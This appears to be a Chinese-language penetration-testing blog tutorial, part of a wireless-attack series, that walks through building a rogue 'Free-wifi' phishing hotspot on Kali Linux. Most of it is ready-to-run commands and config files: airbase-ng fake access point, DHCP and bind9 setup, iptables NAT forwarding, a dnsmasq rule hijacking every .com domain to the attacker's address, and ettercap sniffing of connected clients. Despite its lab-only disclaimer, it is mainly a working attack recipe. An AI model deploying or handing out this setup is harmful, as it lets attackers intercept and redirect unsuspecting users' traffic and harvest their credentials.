系列文章专辑：渗透测试之地基篇
简介渗透测试-地基篇
该篇章目的是重新牢固地基，加强每日训练操作的笔记，在记录地基笔记中会有很多跳跃性思维的操作和方式方法，望大家能共同加油学到东西。
请注意：
本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。
名言：
你对这行的兴趣，决定你在这行的成就！
一、前言今天会讲解到无线攻防自搭建钓鱼Wifi中的：安装部署环境、无线网卡外接开启、开启钓鱼wifi-Free、添加和配置本地接口并配置、DHCP服务搭建、wireshark抓包检查+本地验证、搭建DNS服务、配置防火墙规则放行等等操作，如果连无线攻防都不会安装甚至渗透操作等，怎么拿下对方服务器？
二、自搭建钓鱼Wifi（方法一）这里介绍无线攻防实战的另外一种新姿势，就是自己搭建钓鱼wifi针对用户进行的攻击，没有哪一个系统能扛得住社会工程学技术的入侵，主要用kali来搭建模拟环境，如果别的环境需要搭建原理方法一致。
1、安装部署环境1）更新源+安装钓鱼部署环境包
apt-get update
apt install bind9
apt-get install isc-dhcp-server
成功完成安装！
2、无线网卡外接开启这里需要连接两个外接无线网卡，除非自身本地是kali系统，外接一个无线网卡即可！插上两张无线网卡后会显示wlan0和wlan1...
1）首先开启无线网卡：
airmon-ng start wlan0
iwconfig
这里wlan0激活后未wlan0mon监听模式：Monitorwlan1为接收模式：Managed
2）设置静态wlan0地址
vi /etc/network/interfaces
auto wlan1
iface wlan1 inet static
address 192.168.150.222
netmask 255.255.255.0
gateway 192.168.150.1
给wlan1配置完成静态IP地址，需要重启网卡！
3）开启静态接口地址
service networking restart
成功启动静态wlan1网卡！
3、开启钓鱼wifi-Free开启免费信号，使用wlan0mon开启免费wifi进行钓鱼：
airbase-ng -e "Free-wifi" -c 6 wlan0mon
成功利用wlan0mon开启钓鱼wifi名称为：Free-wifi，外置的wifi信号可以发现我们刚开启的!
4、添加和配置本地接口并配置现在只是钓鱼信号发送出来了，需要一个静态的地址给到内置的相应模块上面。
1）开启本地接口at0
ifconfig at0 up
ifconfig at0
2）内置无线模块的接口配置IP：at0
vi /etc/network/interfaces
auto at0
iface at0 inet static
address 192.168.1.1
netmask 255.255.255.0
保存即可，网关地址配置完成！
3）刷新网络服务
service networking restart
成功分配地址给at0网卡！
5、DHCP服务搭建目前钓鱼wifi这边已经有了网关地址，但是客户端还无法获得相关的dhcp类似的地址，需要搭建服务！环境bing9和dhcp已经在前面环境安装部署好了...开始！
1）配置钓鱼wifi子网信息
配置dhcpd.conf文件
cd /etc/dhcp
可以看到存在dhcpd.conf，接下来就配置该文件即可！
vi dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.100 192.168.1.150;
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.150.222;
}
目前完成了子网的配置，192.168.10.10会用来搭建DNS缓存服务器！
2）开启服务监听at0
vi /etc/default/isc-dhcp-server
service isc-dhcp-server start
成功开启！
3）如果遇到错误如何排查！！报错了，分析下错误！
journalctl -xe
查看保存记录，配置文件配置错误！重新配置下该处即可！
成功开启！
4）或者查看端口是否开启：
netstat -ntulp |grep 67
DHCP开启的是67端口...
6、wireshark抓包检查+本地验证开启wireshark监听eth1接口：
可看到握手包流量也已经有了！
手机链接wifi后也可以看到IP、网关、DNS都是对的！
7、kali-搭建DNS服务https://www.jianshu.com/p/bf3f7011b9fe
目前DNS已经指向我们，我们目前没有DNS服务，需要搭建，首先一定要安装好bind9环境，然后进入目录查看下底层详细信息。
1）了解底层文件
cd /etc/bind
查看主配置文件：可看到全局文件都将各个配置文件分散开进行配置的！
2）配置DNS全局配置文件
vi named.conf.options
需要配置参数：
vi named.conf.options
forwarders { 8.8.8.8; };
recursion yes;
allow-query { any; };
listen-on { any; };
listen-on port 53 { 192.168.10.10; };
注意空格！这里图片有个错误的，就是{}括号问题！修改即可！
代理到google的DNS服务器，
允许转发的范围any
监听范围any
监听的端口 53
3）重启服务bind9
service named restart
service named status
4）nslookup检测
apt-get install dnsutils
如果无nslookup手动安装即可！可看到server为：192.168.253.1，为本机默认的DNS的IP，需要更高下即可！
5）更高本机DNS
vi /etc/resolv.conf
将192.168.253.1更改为192.168.10.10即可！
6）重启网络服务
service networking restart
重启后开启防火墙规则！
7）开启防火墙规则
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o wlan1 -j SNAT --to-source 192.168.10.10
到此wifi就能顺利连接进入进行监视钓鱼！
三、Kali自搭建钓鱼（方法二）1、安装部署环境更新源+安装钓鱼部署环境包
apt-get update
apt install dnsmasq
apt-get install isc-dhcp-server
2、无线网卡外接开启1）连接无线网卡
可看到wlan0已经成功接入kali
2）开启wlan0无线网卡
airmon-ng start wlan0
成功开启wlan0无线网卡，名称为:wlan0mon
3、添加虚拟网段网卡vi /etc/network/interfaces
auto at0
iface at0 inet static
address 192.168.1.1
netmask 255.255.255.0
service networking restart
重新网卡后报错先不管！
4、开启钓鱼wifiairbase-ng -e Free-wifi -c 11 wlan0mon
先创建个wifi此时wifi是无法连接上去的，因为DHCP和at0未配置!
5、配置DHCP和虚拟网卡1）开启at0网卡，并重启服务
ifconfig at0 up
service networking restart
2）配置DHCP
vi /etc/dhcp/dhcpd.conf
subnet 192.168.1.0 netmask 255.255.255.0{
range 192.168.1.101 192.168.1.150;
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.253.150;
}
6、配置虚拟网卡信息1）开启网段等配置信息
ifconfig at0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
service networking restart
查看开启状态：
service networking status
成功开启！
2）开启服务监听at0
vi /etc/default/isc-dhcp-server
service isc-dhcp-server start
成功开启！
7、配置防火墙规则放行echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to 192.168.253.150
再次检测，此时钓鱼wifi已经可以上网了！
8、DNS劫持1）配置DNS劫持
vi /etc/dnsmasq.conf
resolv-file=/etc/resolv.conf
strict-order
listen-address=192.168.253.150
address=/.com/192.168.253.150
server=8.8.8.8
server=114.114.114.114
劫持所有.com的域名！
2）将eth0配置为dns
auto eth0
iface eth0 inet static
address 192.168.253.150
netmask 255.255.255.0
gateway 192.168.253.1
3）启用DNSmasq
Dnsmasq 提供 DNS 缓存和 DHCP 服务功能。作为域名解析服务器(DNS)，dnsmasq可以通过缓存 DNS 请求来提高对访问过的网址的连接速度。作为DHCP 服务器，dnsmasq 可以用于为局域网电脑分配内网ip地址和提供路由。DNS和DHCP两个功能可以同时或分别单独实现。dnsmasq轻量且易配置，适用于个人用户或少于50台主机的网络。此外它还自带了一个 PXE 服务器。
service dnsmasq start
ettercap -Tq -i at0
dnsmasq轻量且易配置，适用于个人用户或少于50台主机的网络，按照命令开启即可！
四、总结今天学到无线攻防自搭建钓鱼Wifi中的：安装部署环境、无线网卡外接开启、开启钓鱼wifi-Free、添加和配置本地接口并配置、DHCP服务搭建、wireshark抓包检查+本地验证、搭建DNS服务、配置防火墙规则放行等等操作，学到了非常多的小技巧和干货，希望小伙伴能实际操作复现一遍！来巩固告知企业单位的漏洞情况，并尽快进行加固巩固安全！
服务攻防之数据库Mysql（上）-> 服务攻防之数据库Mysql（下）-> 服务攻防之数据库MSSQL（上）-> 服务攻防之数据库MSSQL（中）-> 服务攻防之数据库MSSQL（下）-> 服务攻防之数据库Oracle（上）-> 服务攻防之数据库Oracle（下）-> 服务攻防之数据库Redis（上）-> 服务攻防之数据库Redis（下）-> 服务攻防之数据库Mongodb（上）-> 服务攻防之数据库Mongodb（下）-> 服务攻防之中间件IIS（上）-> 服务攻防之中间件IIS（下）-> 服务攻防之中间件Apache（总）-> 服务攻防之中间件Nginx（总）-> 服务攻防之中间件Tomcat（上）-> 服务攻防之中间件Tomcat（下）-> 服务攻防之中间件JBoss（上）-> 服务攻防之中间件JBoss（中）-> 服务攻防之中间件JBoss（下）-> 服务攻防之中间件Weblogic（上）-> 服务攻防之中间件Weblogic（下）-> 服务攻防之中间件GlassFish（总）-> 服务攻防之中间件WebSphere（总）-> 服务攻防之框架Struts2（上）-> 服务攻防之框架Struts2（下）-> 服务攻防之框架Thinkphp（总）-> 服务攻防之框架Shiro（总）-> 服务攻防之框架Spring（上）-> 服务攻防之框架Spring（下）-> 服务攻防之框架FastJson（上）-> 服务攻防之框架FastJson（下）-> 无线攻防之Wifi破解（上）-> 无线攻防之Wifi破解（下）-> 无线攻防之Kali自搭建钓鱼Wifi（总）......
接下来在《无线攻防之钓鱼无线攻击（上）》会接触到wifiphisher钓鱼中：wifiphisher简介、wifiphisher钓鱼详解、多功能钓鱼页面详解、自定义钓鱼、另类钓鱼用法，以及wifiphisher分析底层文件中判断屏幕大小、判断浏览器类型、判断系统内容、加载Mac代码、加载windows代码、加载的安卓和ios代码等渗透操作，如何提权渗透等方法，请看下篇无线攻防之钓鱼无线攻击（上）篇章！
希望大家提高安全意识，没有网络安全就没有国家安全！
今天基础牢固就到这里，虽然基础，但是必须牢记于心。
作者：大余